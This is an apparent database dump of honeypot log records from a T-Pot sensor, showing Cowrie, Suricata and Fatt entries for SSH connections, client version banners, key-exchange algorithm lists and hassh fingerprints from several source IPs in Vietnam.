"ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8da4a9cc248f", "@version": "1", "timestamp": "2021-09-20T11:08:43.011875Z", "@timestamp": "2021-09-20T11:08:43.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24419	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.060847+03	2021-09-20 14:15:08.7685+03	{"_id": "HQbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "48353ac59578", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:43.060847Z", "@timestamp": "2021-09-20T11:08:43.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24420	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:43.130885+03	2021-09-20 14:15:08.769516+03	{"_id": "HgbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ef4e7b658f71", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:43.130885Z", "@timestamp": "2021-09-20T11:08:43.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24421	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:43.1739+03	2021-09-20 14:15:08.7705+03	{"_id": "HwbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "739764ead67a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:43.173900Z", "@timestamp": "2021-09-20T11:08:43.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24422	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.25106+03	2021-09-20 14:15:08.7715+03	{"_id": "IAbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "36aa425c0db2", "@version": "1", "timestamp": "2021-09-20T11:08:43.251060Z", "@timestamp": "2021-09-20T11:08:43.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24423	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:43.310426+03	2021-09-20 14:15:08.772499+03	{"_id": "IQbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "85cb1bd88dfc", "@version": "1", "timestamp": "2021-09-20T11:08:43.310426Z", "@timestamp": "2021-09-20T11:08:43.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24424	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.318947+03	2021-09-20 14:15:08.774509+03	{"_id": "IgbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "48353ac59578", "@version": "1", "timestamp": "2021-09-20T11:08:43.318947Z", "@timestamp": "2021-09-20T11:08:43.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24425	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:43.276717+03	2021-09-20 14:15:08.7755+03	{"_id": "JAbkAnwBvYTbRNuE1hPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1025227680688804, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37140, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.276717Z", "@timestamp": "2021-09-20T11:08:43.276Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24426	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:43.452111+03	2021-09-20 14:15:08.776508+03	{"_id": "JwbkAnwBvYTbRNuE1hPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1675640348251885, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57244, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.452111Z", "@timestamp": "2021-09-20T11:08:43.452Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24427	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.176181+03	2021-09-20 14:15:08.777471+03	{"_id": "KwbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57244, "timestamp": "2021-09-20T11:08:43.176181", "@timestamp": "2021-09-20T11:08:43.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24428	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.753956+03	2021-09-20 14:15:08.779471+03	{"_id": "LwbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57536, "timestamp": "2021-09-20T11:08:43.753956", "@timestamp": "2021-09-20T11:08:43.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24429	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.751638+03	2021-09-20 14:15:08.7805+03	{"_id": "MwbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57536 (192.168.176.2:22) [session: 6403eef19224]", "session": "6403eef19224", "@version": "1", "protocol": "ssh", "src_port": 57536, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.751638Z", "@timestamp": "2021-09-20T11:08:43.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
